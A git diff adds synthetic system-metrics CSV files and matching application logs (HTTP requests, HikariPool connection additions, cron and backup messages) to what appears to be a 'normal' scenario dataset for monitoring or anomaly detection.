+2025-08-15T10:06:00Z,14.93,73.37,52.52,30.61,1.57,1.12 +2025-08-15T10:06:05Z,18.13,85.71,46.64,25.16,1.35,1.42 +2025-08-15T10:06:10Z,9.76,72.37,52.05,12.4,1.36,1.65 +2025-08-15T10:06:15Z,16.64,61.95,50.45,17.58,1.57,1.22 +2025-08-15T10:06:20Z,15.17,63.72,51.74,26.33,1.07,1.69 +2025-08-15T10:06:25Z,14.4,80.48,55.02,16.46,1.08,0.79 +2025-08-15T10:06:30Z,15.18,82.6,48.65,22.22,1.28,0.69 +2025-08-15T10:06:35Z,11.02,70.96,47.18,23.87,1.44,1.18 +2025-08-15T10:06:40Z,14.56,86.39,46.83,15.37,1.59,1.32 +2025-08-15T10:06:45Z,15.71,63.38,47.1,19.7,1.94,1.19 +2025-08-15T10:06:50Z,17.96,79.34,49.38,5.0,1.76,0.58 +2025-08-15T10:06:55Z,13.96,67.89,50.69,14.88,1.45,1.17 +2025-08-15T10:07:00Z,13.38,73.48,50.55,18.74,1.49,0.81 +2025-08-15T10:07:05Z,14.0,80.47,52.26,13.76,1.2,1.4 +2025-08-15T10:07:10Z,16.83,71.4,49.87,28.16,1.49,1.31 +2025-08-15T10:07:15Z,15.66,76.15,54.25,12.85,1.41,0.92 +2025-08-15T10:07:20Z,13.94,90.06,49.15,17.8,1.6,1.05 +2025-08-15T10:07:25Z,16.03,74.23,58.16,20.65,1.25,0.88 diff --git a/norm_dataset/scenario_15/norm_15_19.log b/norm_dataset/scenario_15/norm_15_19.log new file mode 100644 index 0000000000000000000000000000000000000000..12afdd2cf08769c1a077d8a1ce95b69e4f17ef3b --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_19.log @@ -0,0 +1,20 @@ +Aug 15 10:00:00 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:00:20 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:00:40 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:01:00 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:01:20 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:01:40 HikariPool-1[8123]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:01:45 HikariPool-1[8123]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:01:50 HikariPool-1[8123]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:01:50 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:01:55 HikariPool-1[8123]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:00 HikariPool-1[8123]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:05 HikariPool-1[8123]: INFO: Pool 'HikariPool-1' - Pool stats (total=9, active=8, idle=1, waiting=0) +Aug 15 10:02:20 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:02:50 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:03:20 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:03:50 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:04:20 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:04:50 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:05:20 web-app[3456]: GET /api/v1/data status=200 OK +Aug 15 10:05:50 web-app[3456]: GET /api/v1/data status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_2.csv b/norm_dataset/scenario_15/norm_15_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..08b098e03eaef94b98e00c7aeb3000c69e96836e --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,app_latency_ms +2025-08-22T10:00:00Z,14.006041345522364,45.93847128005748,28.328646086386925,0.9453431768622899,0.7085150012702859,49.09577267965149 +2025-08-22T10:00:05Z,16.04815454779377,45.98260060153613,29.77986584288785,0.9665505170505352,0.5017067782632261,53.05639044309175 +2025-08-22T10:00:10Z,14.772582141030526,44.77428233182836,30.989155611837685,1.017629641504998,0.772484973652749,43.44310192430143 +2025-08-22T10:00:15Z,14.430580579208346,44.50401804093175,29.634782386623222,0.9476901971202873,0.6216434290518827,46.131232812850655 +2025-08-22T10:00:20Z,18.07646101738931,43.84383060768321,29.382598247432245,1.0037958077409395,0.7000517092788536,53.55875718434054 +2025-08-22T10:00:25Z,12.492116061152835,46.78694376765523,30.48267670843354,0.997740777263979,0.809059776291725,41.31654727146607 +2025-08-22T10:00:30Z,16.24073121230662,43.87011529640221,28.551693535282514,0.9358170945125028,0.8784747572318042,46.77149385601374 +2025-08-22T10:00:35Z,15.949385841963197,46.107915554584565,30.885367815133492,0.8404514259737679,0.8593069760862978,45.823719379890186 +2025-08-22T10:00:40Z,15.42273743093588,44.70777566847573,28.319815544906856,1.0496075964945408,0.8296330516891106,47.9758106209023 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+2025-08-22T10:07:10Z,21.77424221813801,49.87536717184324,35.205876671956226,5.117334772274756,3.6766225768700673,87.32909408927543 +2025-08-22T10:07:15Z,27.181565280396242,47.83920056958879,34.17799070307116,5.117492197012314,4.4677267277830115,78.99960343674387 +2025-08-22T10:07:20Z,24.333468783694958,48.070963328717546,34.426447582826675,4.808166592438486,3.4520900032782844,76.48494680006058 +2025-08-22T10:07:25Z,24.125415393592025,48.277842633809236,35.61429752478648,4.899111252625377,4.036896918930646,80.89445130397432 diff --git a/norm_dataset/scenario_15/norm_15_2.log b/norm_dataset/scenario_15/norm_15_2.log new file mode 100644 index 0000000000000000000000000000000000000000..3f7c2eda8932e2072ef870e67592caa60cd72c8c --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_2.log @@ -0,0 +1,65 @@ +Aug 22 10:00:00 order-service[3456]: INFO GET /api/v1/orders/health status=200 OK +Aug 22 10:00:20 order-service[3456]: INFO GET /api/v1/orders/health status=200 OK +Aug 22 10:00:40 order-service[3456]: INFO GET /api/v1/orders/health status=200 OK +Aug 22 10:01:00 order-service[3456]: INFO GET /api/v1/orders/health status=200 OK +Aug 22 10:01:20 order-service[3456]: INFO GET /api/v1/orders/health status=200 OK +Aug 22 10:01:40 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +Aug 22 10:01:45 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +2025-08-22 10:01:45,000 DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Added connection conn21 +Aug 22 10:01:50 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +2025-08-22 10:01:50,000 DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Added connection conn22 +Aug 22 10:01:55 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +2025-08-22 10:01:55,000 DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Added connection conn23 +Aug 22 10:02:00 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +2025-08-22 10:02:00,000 DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Added connection conn24 +Aug 22 10:02:05 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +2025-08-22 10:02:05,000 DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Added connection conn25 +Aug 22 10:02:10 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +2025-08-22 10:02:10,000 DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Added connection conn26 +Aug 22 10:02:15 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +2025-08-22 10:02:15,000 DEBUG com.zaxxer.hikari.pool.HikariPool - HikariPool-1 - Added connection conn27 +Aug 22 10:02:20 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +Aug 22 10:02:25 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +Aug 22 10:02:30 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +Aug 22 10:02:35 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +Aug 22 10:02:40 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +Aug 22 10:02:45 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +Aug 22 10:02:50 order-service[3456]: INFO POST /api/v1/orders user=123 status=201 CREATED +Aug 22 10:02:55 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:03:00 order-service[3456]: INFO POST /api/v1/orders user=236 status=201 CREATED +Aug 22 10:03:10 order-service[3456]: INFO POST /api/v1/orders user=238 status=201 CREATED +Aug 22 10:03:20 order-service[3456]: INFO POST /api/v1/orders user=240 status=201 CREATED +Aug 22 10:03:20 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:03:30 order-service[3456]: INFO POST /api/v1/orders user=242 status=201 CREATED +Aug 22 10:03:40 order-service[3456]: INFO POST /api/v1/orders user=244 status=201 CREATED +Aug 22 10:03:45 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:03:50 order-service[3456]: INFO POST /api/v1/orders user=246 status=201 CREATED +Aug 22 10:04:00 order-service[3456]: INFO POST /api/v1/orders user=248 status=201 CREATED +Aug 22 10:04:10 order-service[3456]: INFO POST /api/v1/orders user=250 status=201 CREATED +Aug 22 10:04:10 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:04:20 order-service[3456]: INFO POST /api/v1/orders user=252 status=201 CREATED +Aug 22 10:04:30 order-service[3456]: INFO POST /api/v1/orders user=254 status=201 CREATED +Aug 22 10:04:35 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:04:40 order-service[3456]: INFO POST /api/v1/orders user=256 status=201 CREATED +Aug 22 10:04:50 order-service[3456]: INFO POST /api/v1/orders user=258 status=201 CREATED +Aug 22 10:05:00 order-service[3456]: INFO POST /api/v1/orders user=260 status=201 CREATED +Aug 22 10:05:00 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:05:10 order-service[3456]: INFO POST /api/v1/orders user=262 status=201 CREATED +Aug 22 10:05:20 order-service[3456]: INFO POST /api/v1/orders user=264 status=201 CREATED +Aug 22 10:05:25 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:05:30 order-service[3456]: INFO POST /api/v1/orders user=266 status=201 CREATED +Aug 22 10:05:40 order-service[3456]: INFO POST /api/v1/orders user=268 status=201 CREATED +Aug 22 10:05:50 order-service[3456]: INFO POST /api/v1/orders user=270 status=201 CREATED +Aug 22 10:05:50 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:06:00 order-service[3456]: INFO POST /api/v1/orders user=272 status=201 CREATED +Aug 22 10:06:10 order-service[3456]: INFO POST /api/v1/orders user=274 status=201 CREATED +Aug 22 10:06:15 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:06:20 order-service[3456]: INFO POST /api/v1/orders user=276 status=201 CREATED +Aug 22 10:06:30 order-service[3456]: INFO POST /api/v1/orders user=278 status=201 CREATED +Aug 22 10:06:40 order-service[3456]: INFO POST /api/v1/orders user=280 status=201 CREATED +Aug 22 10:06:40 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:06:50 order-service[3456]: INFO POST /api/v1/orders user=282 status=201 CREATED +Aug 22 10:07:00 order-service[3456]: INFO POST /api/v1/orders user=284 status=201 CREATED +Aug 22 10:07:05 order-service[3456]: INFO GET /api/v1/orders/recent status=200 OK +Aug 22 10:07:10 order-service[3456]: INFO POST /api/v1/orders user=286 status=201 CREATED +Aug 22 10:07:20 order-service[3456]: INFO POST /api/v1/orders user=288 status=201 CREATED diff --git a/norm_dataset/scenario_15/norm_15_20.csv b/norm_dataset/scenario_15/norm_15_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..0ea7a1c770d2ce4cbb374ab08a1ba224037262e7 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,response_time_ms,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,15.74507122951685,80.9707754934804,56.25133469553001,24.323819867198345,1.6038693028482345,1.1874641805453656 +2025-08-15T10:00:05Z,14.792603548243223,89.68644990532889,53.285684887167434,15.692413546461681,1.8065477826005156,1.3910284641002475 +2025-08-15T10:00:10Z,15.97153280715104,72.97946906122648,52.858215003877774,23.48949125646488,1.4782479703086284,1.0028547907328913 +2025-08-15T10:00:15Z,17.284544784612038,76.72337853402232,55.964944830486374,20.03069918305876,1.5803423444197884,1.3008093031035688 +2025-08-15T10:00:20Z,14.648769937914995,76.07891846867842,54.5530744293483,17.055474046856148,1.6380287983422226,1.0939484763255118 +2025-08-15T10:00:25Z,14.64879456457623,65.36485051867882,56.42800098818418,21.386310422789812,1.4197559056228328,1.041425433547531 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b/norm_dataset/scenario_15/norm_15_20.log new file mode 100644 index 0000000000000000000000000000000000000000..f5c6f9bc9250dec69516db82951b40a430187f28 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_20.log @@ -0,0 +1,20 @@ +Aug 15 10:00:10 web-app[1234]: INFO GET /api/v1/products status=200 OK +Aug 15 10:00:45 web-app[1234]: INFO GET /api/v1/users/45 status=200 OK +Aug 15 10:01:20 web-app[1234]: INFO POST /api/v1/orders status=201 Created +Aug 15 10:01:50 web-app[1234]: INFO GET /api/v1/products/99 status=200 OK +Aug 15 10:02:06 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:08 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:11 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:14 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:16 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:19 web-app[1234]: DEBUG Pool 'HikariPool-1' - Pool stats (total=15, active=5, idle=10, waiting=0) +Aug 15 10:02:25 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:31 web-app[1234]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:02:35 web-app[1234]: DEBUG Pool 'HikariPool-1' - Pool stats (total=20, active=8, idle=12, waiting=0) +Aug 15 10:03:00 web-app[1234]: INFO GET /api/v1/dashboard status=200 OK +Aug 15 10:03:40 web-app[1234]: INFO GET /api/v1/products status=200 OK +Aug 15 10:04:20 web-app[1234]: INFO GET /api/v1/users/101 status=200 OK +Aug 15 10:05:00 web-app[1234]: INFO POST /api/v1/cart status=201 Created +Aug 15 10:05:50 web-app[1234]: INFO GET /api/v1/products/23 status=200 OK +Aug 15 10:06:40 web-app[1234]: INFO GET /api/v1/users/77 status=200 OK +Aug 15 10:07:20 web-app[1234]: INFO GET /api/v1/dashboard status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_21.csv b/norm_dataset/scenario_15/norm_15_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..9a4e4edf783298778d26c95ce810b512b8388a88 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,app_latency,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,13.86,75.59,38.45,20.16,1.17,0.89 +2025-08-23T10:00:05Z,13.16,62.5,38.19,28.17,0.86,0.85 +2025-08-23T10:00:10Z,12.44,50.06,37.11,21.44,0.81,0.81 +2025-08-23T10:00:15Z,14.3,56.65,40.28,26.4,0.91,0.76 +2025-08-23T10:00:20Z,10.42,77.41,36.84,29.32,1.09,0.74 +2025-08-23T10:00:25Z,13.74,69.58,42.22,20.86,0.83,0.9 +2025-08-23T10:00:30Z,11.08,50.45,39.14,26.12,0.82,0.91 +2025-08-23T10:00:35Z,11.03,57.11,42.73,21.78,1.16,1.06 +2025-08-23T10:00:40Z,13.56,79.52,41.74,20.01,1.15,0.95 +2025-08-23T10:00:45Z,14.82,60.46,41.28,29.72,0.9,0.83 +2025-08-23T10:00:50Z,12.35,65.65,38.78,29.71,1.03,0.78 +2025-08-23T10:00:55Z,14.91,79.49,35.96,29.91,1.06,0.77 +2025-08-23T10:01:00Z,14.74,54.14,40.33,20.51,1.03,0.78 +2025-08-23T10:01:05Z,10.72,52.76,40.74,23.33,0.82,0.9 +2025-08-23T10:01:10Z,12.04,70.69,39.44,24.22,1.2,0.72 +2025-08-23T10:01:15Z,33.17,302.05,41.15,26.2,0.96,1.01 +2025-08-23T10:01:20Z,26.82,238.25,43.41,23.71,1.03,0.79 +2025-08-23T10:01:25Z,33.51,255.62,41.17,23.83,0.96,0.96 +2025-08-23T10:01:30Z,33.93,314.96,39.56,28.76,1.12,0.87 +2025-08-23T10:01:35Z,34.5,230.23,41.8,28.32,0.99,1.0 +2025-08-23T10:01:40Z,27.2,80.62,41.49,21.47,1.11,0.76 +2025-08-23T10:01:45Z,31.1,85.37,40.85,25.37,1.12,0.95 +2025-08-23T10:01:50Z,29.56,100.17,36.82,26.45,0.88,0.81 +2025-08-23T10:01:55Z,32.1,102.54,36.4,23.57,0.82,0.94 +2025-08-23T10:02:00Z,30.44,94.76,40.15,22.47,0.85,0.85 +2025-08-23T10:02:05Z,13.57,60.67,36.33,28.15,1.02,0.85 +2025-08-23T10:02:10Z,13.7,67.82,35.36,24.48,1.08,0.93 +2025-08-23T10:02:15Z,14.65,66.26,42.4,28.57,0.94,0.75 +2025-08-23T10:02:20Z,14.8,57.7,36.25,23.77,1.14,0.75 +2025-08-23T10:02:25Z,12.44,59.59,35.97,24.58,1.08,0.81 +2025-08-23T10:02:30Z,10.69,58.79,44.75,28.65,1.03,0.82 +2025-08-23T10:02:35Z,10.35,73.34,38.2,26.32,1.05,0.78 +2025-08-23T10:02:40Z,11.95,70.46,38.56,22.3,1.14,0.84 +2025-08-23T10:02:45Z,10.26,79.01,35.7,26.0,0.97,0.88 +2025-08-23T10:02:50Z,14.59,62.47,38.33,24.48,0.93,0.86 +2025-08-23T10:02:55Z,11.69,76.3,42.67,28.99,1.07,1.01 +2025-08-23T10:03:00Z,10.35,73.77,36.19,26.38,0.81,0.84 +2025-08-23T10:03:05Z,14.9,67.95,42.26,21.85,1.05,0.76 +2025-08-23T10:03:10Z,13.73,68.4,36.57,21.63,0.89,1.08 +2025-08-23T10:03:15Z,10.34,64.99,37.82,28.78,0.97,0.88 +2025-08-23T10:03:20Z,10.94,58.85,41.38,25.03,0.83,0.84 +2025-08-23T10:03:25Z,13.38,69.87,44.98,24.68,1.19,0.82 +2025-08-23T10:03:30Z,14.02,79.82,43.88,21.17,0.89,1.02 +2025-08-23T10:03:35Z,10.46,66.9,44.12,24.25,1.1,0.88 +2025-08-23T10:03:40Z,10.57,67.09,39.95,25.82,0.95,0.9 +2025-08-23T10:03:45Z,11.81,57.45,37.87,23.56,1.19,0.98 +2025-08-23T10:03:50Z,11.39,57.36,36.29,27.11,1.19,0.82 +2025-08-23T10:03:55Z,11.89,59.58,42.4,21.76,1.0,0.79 +2025-08-23T10:04:00Z,12.36,76.29,36.21,24.14,1.12,0.9 +2025-08-23T10:04:05Z,10.78,71.69,44.64,28.85,0.95,0.7 +2025-08-23T10:04:10Z,10.66,76.55,36.28,25.91,1.08,0.88 +2025-08-23T10:04:15Z,11.34,59.72,42.19,28.05,0.94,0.72 +2025-08-23T10:04:20Z,10.76,50.16,35.21,23.7,0.92,0.99 +2025-08-23T10:04:25Z,10.9,65.28,37.0,24.7,1.17,0.78 +2025-08-23T10:04:30Z,12.29,51.93,41.57,27.06,1.05,0.78 +2025-08-23T10:04:35Z,14.52,52.04,38.37,22.71,1.09,0.99 +2025-08-23T10:04:40Z,13.67,53.64,41.45,23.79,0.84,0.82 +2025-08-23T10:04:45Z,13.79,61.44,42.09,22.6,1.16,0.97 +2025-08-23T10:04:50Z,10.01,72.84,40.77,22.13,1.05,0.93 +2025-08-23T10:04:55Z,12.98,55.23,37.46,26.13,0.98,1.09 +2025-08-23T10:05:00Z,14.55,71.82,37.57,29.77,1.06,0.94 +2025-08-23T10:05:05Z,10.47,52.49,35.58,21.64,1.14,0.8 +2025-08-23T10:05:10Z,10.75,55.08,35.8,21.33,1.18,1.03 +2025-08-23T10:05:15Z,14.09,72.95,38.48,24.91,1.04,0.97 +2025-08-23T10:05:20Z,14.7,63.31,37.09,20.04,1.08,0.77 +2025-08-23T10:05:25Z,14.85,53.93,36.39,22.96,0.87,1.04 +2025-08-23T10:05:30Z,12.88,68.07,37.9,24.58,0.92,0.92 +2025-08-23T10:05:35Z,13.42,63.35,36.7,24.0,0.99,0.78 +2025-08-23T10:05:40Z,11.54,62.29,43.83,24.58,1.02,0.72 +2025-08-23T10:05:45Z,11.37,61.12,41.86,21.85,1.02,1.03 +2025-08-23T10:05:50Z,10.7,72.65,41.82,25.18,0.85,0.8 +2025-08-23T10:05:55Z,12.57,77.67,43.87,26.04,1.15,0.77 +2025-08-23T10:06:00Z,14.32,55.81,38.3,25.76,0.99,0.74 +2025-08-23T10:06:05Z,14.34,74.95,44.63,24.85,0.81,0.85 +2025-08-23T10:06:10Z,14.51,71.13,42.26,27.63,1.17,0.7 +2025-08-23T10:06:15Z,11.73,57.14,35.15,27.11,1.07,0.85 +2025-08-23T10:06:20Z,14.01,74.63,38.27,23.6,0.89,1.1 +2025-08-23T10:06:25Z,13.47,64.21,36.51,26.82,1.07,1.08 +2025-08-23T10:06:30Z,12.64,55.32,39.43,29.95,0.89,0.99 +2025-08-23T10:06:35Z,12.19,55.21,40.08,21.16,1.16,0.77 +2025-08-23T10:06:40Z,14.32,60.5,35.98,25.47,0.96,0.73 +2025-08-23T10:06:45Z,10.58,79.08,36.47,22.91,1.09,1.06 +2025-08-23T10:06:50Z,12.71,66.02,36.99,29.81,0.98,0.89 +2025-08-23T10:06:55Z,11.49,55.33,42.76,22.57,0.88,1.03 +2025-08-23T10:07:00Z,12.43,53.28,38.96,20.98,1.06,0.99 +2025-08-23T10:07:05Z,10.93,78.37,38.74,27.14,0.94,1.06 +2025-08-23T10:07:10Z,14.4,57.09,39.66,28.57,1.09,1.08 +2025-08-23T10:07:15Z,14.78,74.85,36.02,21.34,1.02,1.03 +2025-08-23T10:07:20Z,14.18,57.19,39.44,28.71,0.92,1.05 +2025-08-23T10:07:25Z,13.44,62.26,44.82,23.28,1.06,1.01 diff --git a/norm_dataset/scenario_15/norm_15_21.log b/norm_dataset/scenario_15/norm_15_21.log new file mode 100644 index 0000000000000000000000000000000000000000..c8d1fbf0d5fd05a174d4319e72c041fbdb4e4e21 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_21.log @@ -0,0 +1,20 @@ +Aug 23 10:00:05 web-app[3456]: INFO GET /api/v1/user/profile status=200 OK duration=65ms +Aug 23 10:00:20 web-app[3456]: INFO GET /api/v1/dashboard status=200 OK duration=72ms +Aug 23 10:00:45 systemd[1]: Starting daily backup activities... +Aug 23 10:01:05 web-app[3456]: INFO POST /api/v1/orders status=201 Created duration=78ms +Aug 23 10:01:15 web-app[3456]: WARN GET /api/v1/heavy-query status=200 OK duration=210ms +Aug 23 10:01:16 HikariPool-1[4321]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:19 web-app[3456]: WARN GET /api/v1/heavy-query status=200 OK duration=320ms +Aug 23 10:01:20 HikariPool-1[4321]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:24 web-app[3456]: WARN GET /api/v1/heavy-query status=200 OK duration=345ms +Aug 23 10:01:25 HikariPool-1[4321]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:29 web-app[3456]: WARN GET /api/v1/heavy-query status=200 OK duration=280ms +Aug 23 10:01:30 HikariPool-1[4321]: DEBUG Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:39 web-app[3456]: INFO GET /api/v1/heavy-query status=200 OK duration=115ms +Aug 23 10:01:45 web-app[3456]: INFO GET /api/v1/heavy-query status=200 OK duration=95ms +Aug 23 10:01:55 HikariPool-1[4321]: DEBUG Pool 'HikariPool-1' - Total connections: 10, Idle connections: 2, Active connections: 8, Waiting threads: 0 +Aug 23 10:02:05 web-app[3456]: INFO GET /api/v1/heavy-query status=200 OK duration=85ms +Aug 23 10:03:20 web-app[3456]: INFO GET /api/v1/user/profile status=200 OK duration=68ms +Aug 23 10:04:35 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:05:50 web-app[3456]: INFO GET /api/v1/dashboard status=200 OK duration=75ms +Aug 23 10:07:05 systemd[1]: Daily backup activities finished successfully. diff --git a/norm_dataset/scenario_15/norm_15_22.csv b/norm_dataset/scenario_15/norm_15_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..171c46c5bab9dd23cabfd0f9364ca5d9d2e3c36b --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,app_latency +2025-08-23T02:00:00Z,16.245848605174654,41.664828925345034,22.959876547941178,0.8152943454982842,0.9733166822236341,98.94660101930593 +2025-08-23T02:00:05Z,17.54954406688013,45.134080434512995,26.470347920016163,1.0520890533356597,0.9032667136029979,77.36783901252636 +2025-08-23T02:00:10Z,17.288480437496613,43.225681016833065,32.54498786227708,0.8378470340965298,0.6776691056870676,72.69564855673335 +2025-08-23T02:00:15Z,14.92057820546594,44.404665199766164,23.535327012665803,1.3564319212589588,1.0851234083524437,76.65488199297465 +2025-08-23T02:00:20Z,15.366044491644672,48.457831050815685,29.863343365571673,1.1808580636499983,0.7810246013918537,96.83966281646161 +2025-08-23T02:00:25Z,14.386429797600153,42.83586402517076,24.448348906581728,1.4434331667260176,0.5646070220186264,72.49887415685059 +2025-08-23T02:00:30Z,13.70625091975881,46.061986552198526,18.581050156694694,1.293802811382774,0.6840768320021728,64.98920131805883 +2025-08-23T02:00:35Z,13.746015089894744,43.21151169070205,25.25627658107435,0.8215839949846899,0.5751173330440975,72.13606490026459 +2025-08-23T02:00:40Z,15.73488254066958,43.53672386485014,23.316337410911547,0.638648798621549,0.8828999008910372,64.72141267215129 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/api/v1/products status=200 OK +Aug 23 02:01:35 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 23 02:01:40 web-app[1234]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 02:01:45 web-app[1234]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 02:01:50 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 02:01:55 web-app[1234]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 02:02:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 02:02:20 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 23 02:02:50 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 23 02:03:15 web-app[1234]: GET /api/v1/products status=200 OK +Aug 23 02:05:00 web-app[1234]: GET /api/v1/products status=200 OK +Aug 23 02:05:05 web-app[1234]: GET /api/v1/products status=200 OK +Aug 23 02:05:20 systemd[1]: Starting daily clean up activities... +Aug 23 02:06:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 02:06:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 02:07:25 web-app[1234]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_15/norm_15_23.csv b/norm_dataset/scenario_15/norm_15_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..dfbfa26cd8c5bc5c7327245a4b72352db9777a38 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,app_latency_ms,mem_usage,net_in,net_out +2025-08-15T10:00:00Z,14.6,47.77,38.64,0.97,0.78 +2025-08-15T10:00:05Z,15.83,50.64,39.64,0.9,0.68 +2025-08-15T10:00:10Z,13.85,52.56,37.17,0.87,0.8 +2025-08-15T10:00:15Z,13.54,41.95,39.78,1.43,0.74 +2025-08-15T10:00:20Z,17.74,60.06,38.66,0.94,0.81 +2025-08-15T10:00:25Z,12.6,43.91,42.95,1.03,0.74 +2025-08-15T10:00:30Z,15.71,50.45,38.85,1.15,0.8 +2025-08-15T10:00:35Z,17.0,52.49,43.53,1.26,0.45 +2025-08-15T10:00:40Z,16.72,43.6,40.56,0.71,0.61 +2025-08-15T10:00:45Z,16.49,44.96,40.7,0.95,0.91 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a/norm_dataset/scenario_15/norm_15_23.log b/norm_dataset/scenario_15/norm_15_23.log new file mode 100644 index 0000000000000000000000000000000000000000..dad34b507a1eba28a868808c7847c5a7df4c7bc6 --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_23.log @@ -0,0 +1,22 @@ +Aug 15 10:00:00 systemd[1]: Starting session-c1.scope. +Aug 15 10:00:00 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:00:20 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:00:45 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:01:10 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:01:30 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:01:55 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:02:20 web-app[1357]: GET /api/v1/status status=200 OK +Aug 15 10:02:40 web-app[1357]: GET /api/v1/data status=200 OK +Aug 15 10:03:05 HikariPool-1[4321]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 15 10:03:20 CRON[6789]: (root) CMD (run-parts --report 